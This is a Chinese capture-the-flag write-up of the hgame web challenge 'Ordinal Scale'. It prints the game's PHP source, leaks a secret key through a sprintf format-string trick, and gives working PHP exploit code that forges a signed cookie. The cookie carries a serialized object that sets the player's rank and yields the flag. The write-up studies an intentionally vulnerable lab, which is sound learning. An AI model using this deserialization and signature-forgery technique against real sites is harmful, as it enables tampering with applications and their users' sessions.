Author:颖奇L’Amore
Blog: www.gem-love.com
CTF ID: Y1ng
得到源码
打开题目,是个游戏,点一下即可挑战,挑战成功就会增加排名,挑战失败就是失败了

查看源代码,发现source.zip,下载下来得到源代码


game.php:
<?php
error_reporting(0);
include_once('cardinal.php');
if(isset($_SESSION['player'])){
$playerName = $_SESSION['player'];
}else{
$playerName = $_POST['player'] ?? '';
if($playerName === '' || is_array($playerName)){
header('Location: index.php');
exit;
}
}
$game = new Game($playerName);
?>
<html lang="en"><head>
<meta charset="utf-8">
<title>Ordinal Scale · 序列之争</title>
<!-- Bootstrap core CSS -->
<link href="/static/bootstrap.min.css" rel="stylesheet"></link>
<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<link href="/static/cover.css" rel="stylesheet">
</head>
<body class="text-center" style="background-image:url('/static/bg.jpg')">
<div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
<header class="masthead mb-auto">
<div class="inner">
<h3 class="masthead-brand">Ordinal Scale</h3>
<nav class="nav nav-masthead justify-content-center">
<span class="nav-link active"><b>当前排名: <?php echo($game->rank->Get());?></b></span>
<span class="nav-link active">经验: <?php echo($_SESSION['exp']);?></span>
<a class="nav-link" href="#">登出</a>
</nav>
</div>
</header>
<main role="main" class="inner cover">
<h2 class="cover-heading"><?php echo($game->welcomeMsg);?></h2>
<h1># <?php echo($game->rank->Get());?></h1>
<?php if($game->rank->Get() === 1){?>
<h2>hgame{flag_is_here}</h2>
<?php }?>
<br>
<div class="card" style="color: #007bff;">
<h2 class="card-header"><?php echo($game->monster->Get()['name']);?></h2>
<div class="card-body">
<h5 class="card-title">等级: <?php echo($game->monster->Get()['no']);?></h5>
<h5>
<?php if(isset($_POST['battle'])){
$fight = $game->rank->Fight($game->monster->Get());
echo($fight['msg']);
if(!$fight['result']){
$_SESSION['player'] = NULL;
}
}
$game->monster->Set();
?>
</h5>
<form method="POST" action="">
<input type="hidden" name="battle" value="1"></input>
<br><br>
<?php if(isset($_POST['battle']) && !$fight['result']){?>
<button class="btn">退出</button>
<?php }else{?>
<button class="btn btn-primary">挑战!</button>
<?php } ?>
</form>
</div>
</div>
</main>
<?php include_once('template/footer.php');?>
cardinal.php:
<?php
error_reporting(0);
session_start();
class Game
{
private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
public $welcomeMsg = '%s, Welcome to Ordinal Scale!';
private $sign = '';
public $rank;
public function __construct($playerName){
$_SESSION['player'] = $playerName;
if(!isset($_SESSION['exp'])){
$_SESSION['exp'] = 0;
}
$data = [$playerName, $this->encryptKey];
$this->init($data);
$this->monster = new Monster($this->sign);
$this->rank = new Rank();
}
private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
$this->sign .= md5($this->sign . $value);
}
}
}
class Rank
{
private $rank;
private $serverKey; // 服务器的 Key
private $key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
public function __construct(){
if(!isset($_SESSION['rank'])){
$this->Set(rand(2, 1000));
return;
}
$this->Set($_SESSION['rank']);
}
public function Set($no){
$this->rank = $no;
}
public function Get(){
return $this->rank;
}
public function Fight($monster){
if($monster['no'] >= $this->rank){
$this->rank -= rand(5, 15);
if($this->rank <= 2){
$this->rank = 2;
}
$_SESSION['exp'] += rand(20, 200);
return array(
'result' => true,
'msg' => '<span style="color:green;">Congratulations! You win! </span>'
);
}else{
return array(
'result' => false,
'msg' => '<span style="color:red;">You die!</span>'
);
}
}
public function __destruct(){
// 确保程序是跑在服务器上的!
$this->serverKey = $_SERVER['key'];
if($this->key === $this->serverKey){
$_SESSION['rank'] = $this->rank;
}else{
// 非正常访问
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}
}
class Monster
{
private $monsterData;
private $encryptKey;
public function __construct($key){
$this->encryptKey = $key;
if(!isset($_COOKIE['monster'])){
$this->Set();
return;
}
$monsterData = base64_decode($_COOKIE['monster']);
if(strlen($monsterData) > 32){
$sign = substr($monsterData, -32);
$monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
if(md5($monsterData . $this->encryptKey) === $sign){
$this->monsterData = unserialize($monsterData);
}else{
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}
$this->Set();
}
public function Set(){
$monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
$this->monsterData = array(
'name' => $monsterName[array_rand($monsterName, 1)],
'no' => rand(1, 2000),
);
$this->Save();
}
public function Get(){
return $this->monsterData;
}
private function Save(){
$sign = md5(serialize($this->monsterData) . $this->encryptKey);
setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
}
}
代码审计
这代码有点长,就不一一解释了,主要是cardinal.php文件内Monster类__construct()方法内存在反序列化位点:
$monsterData = base64_decode($_COOKIE['monster']);
if(strlen($monsterData) > 32){
$sign = substr($monsterData, -32);
$monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
if(md5($monsterData . $this->encryptKey) === $sign){
$this->monsterData = unserialize($monsterData);
}
而且是直接取cookie进行base64_decode()
,cookie又是我们可控的
在game.php中,需要$rank
为1才得到flag:
<h1># <?php echo($game->rank->Get());?></h1>
<?php if($game->rank->Get() === 1){?>
<h2>hgame{flag_is_here}</h2>
<?php }?>
而在cardinal.php,Rank对象的Fight()
方法中,$rank
最小永远是2,通过游戏方法是永远无法达到1的:
class Rank
{
public function Fight($monster){
if($monster['no'] >= $this->rank){
if($this->rank <= 2){
$this->rank = 2;
}
}
}
}
所以必须要想办法构造序列化,放到cookie上,通过反序列化覆盖$rank
为1得到flag。
Game类与sprintf()格式化漏洞
class Game
{
private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
public $welcomeMsg = '%s, Welcome to Ordinal Scale!';
private $sign = '';
public function __construct($playerName){
$data = [$playerName, $this->encryptKey];
$this->init($data);
}
private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
$this->sign .= md5($this->sign . $value);
}
}
}
Game类中有一个私有属性$encryptKey
和公有属性$welcomeMsg
,$encryptKey
是个未知的密钥;init()
方法内foreach()
两轮循环,有一个sprintf()
输出一个字符串,另外通过玩家名和$encryptKey
来计算一个用户的签名$sign
本地测试,假设玩家名为y1ng,输出一下两轮循环中$welcomeMsg
和$sign

看似正常,其实漏洞位于这句代码:
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
第一轮循环sprintf()
输出[用户名], Welcome to Ordinal Scale!
再赋值给$this->welcomeMsg
,之后进入第二轮循环;
第二轮循环中,$value
是密钥,$this->welcomeMsg
是[用户名], Welcome to Ordinal Scale!
,再进行一次sprintf()
sprintf()
函数存在一个格式化字符串漏洞,即不会对字符串进行检查,如果出现%s就会格式化输出。
假设我们的用户名是y1ng%s
,第二轮循环中的springf()
就变成了sprintf('y1ng%s, Welcome to Ordinal Scale!', $value);
就会输出$value
字符串了,此时$value
正好是$this->encryptKey
,就把这个key格式化出来了
输入用户名%s
,得到$encryptKey
为gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL

计算用户签名
这里逻辑挺乱的,不容易讲清楚。
cookie是序列化字符串与$sign
连起来后base64编码,而$sign
是序列化字符串并置$this->encryptKey
后取md5,这里的$this->encryptKey
并不是sprintf()
格式化打出来的那个Game类中的$encryptKey
属性,而是Game->init($data)
计算出来的$sign
,也就是所谓的“用户签名”。
想要反序列化也是有条件的,其实说白了就是要验证这个“用户签名”,具体的逻辑就不一点点讲了,可以看代码:
Monster类__construct()
构造魔术方法:
$this->encryptKey = $key; //这个$key就是Game类中的$sign: $this->monster = new Monster($this->sign);
if(strlen($monsterData) > 32){
$sign = substr($monsterData, -32);
$monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
if(md5($monsterData . $this->encryptKey) === $sign){
$this->monsterData = unserialize($monsterData);
}else{
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}
Save()
方法:
private function Save(){
$sign = md5(serialize($this->monsterData) . $this->encryptKey);
setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
}
现在我们已经格式化打出了他的神秘密钥,就可以自己计算签名了,exp:
<?php
$encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL'; //%s出来的密钥
$welcomeMsg = '%s, Welcome to Ordinal Scale!';
$playerName = 'y1ng';
$data = [$playerName, $encryptKey];
$sign = '';
foreach($data as $key => $value){
$welcomeMsg = sprintf($welcomeMsg, $value);
$sign .= md5($sign . $value);
// echo $welcomeMsg . "<br>" . $sign . "<br><br>";
}
echo $sign;
用户名为y1ng,得到签名:
770f0f8b605cfd2ba494849d948d34efe1a3a0c7e1c26a5abcedaf71f25d9583
构造序列化
需要构造出序列化字符串,将序列化字符串与签名并置后MD5哈希,再将序列化字符串与该哈希值并置后base64编码,就是我们要的cookie了,exp:
<?php
//Author: 颖奇LAmore
//Blog: www.gem-love.com
class Game
{
private $encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
public $welcomeMsg = '%s, Welcome to Ordinal Scale!';
private $sign = '770f0f8b605cfd2ba494849d948d34efe1a3a0c7e1c26a5abcedaf71f25d9583';
public $rank;
public function __construct(){
$this->monster = new Monster($this->sign);
$this->rank = new Rank();
}
}
class Rank
{
private $rank = 1;
// private $serverKey; // 服务器的 Key
// private $key;
}
class Monster
{
private $monsterData;
private $encryptKey;
public function __construct($key){
$this->encryptKey = $key;
$this->set();
}
public function Set(){
$monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
$this->monsterData = array(
'name' => $monsterName[array_rand($monsterName, 1)],
'no' => rand(1, 2000),
);
}
}
$y1ng = new Game();
$ser = serialize($y1ng);
$Sign = md5($ser.'770f0f8b605cfd2ba494849d948d34efe1a3a0c7e1c26a5abcedaf71f25d9583');
echo "序列化:<br>".$ser."<br><br><br>";
echo "sign:<br>" . $Sign . "<br><br><br><br>";
echo "cookie: <br>" . base64_encode($ser.$Sign);
echo出的cookie为:
Tzo0OiJHYW1lIjo1OntzOjE2OiIAR2FtZQBlbmNyeXB0S2V5IjtzOjMyOiJna1VGVWE3R2ZQUXVpM0RHVVRIWDZYSVVTM1pBbUNsTCI7czoxMDoid2VsY29tZU1zZyI7czoyOToiJXMsIFdlbGNvbWUgdG8gT3JkaW5hbCBTY2FsZSEiO3M6MTA6IgBHYW1lAHNpZ24iO3M6NjQ6Ijc3MGYwZjhiNjA1Y2ZkMmJhNDk0ODQ5ZDk0OGQzNGVmZTFhM2EwYzdlMWMyNmE1YWJjZWRhZjcxZjI1ZDk1ODMiO3M6NDoicmFuayI7Tzo0OiJSYW5rIjoxOntzOjEwOiIAUmFuawByYW5rIjtpOjE7fXM6NzoibW9uc3RlciI7Tzo3OiJNb25zdGVyIjoyOntzOjIwOiIATW9uc3RlcgBtb25zdGVyRGF0YSI7YToyOntzOjQ6Im5hbWUiO3M6MjA6IuWwj
来到题目,以y1ng为用户名登录,手动设置monster这个cookie为我们生成出来的这个cookie

带着新cookie点下挑战,即可得到flag:hgame{Unserial1ze_1s_RiskFuL_S0_y0u_Must_payatt3ntion}

颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/ctf/1021.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示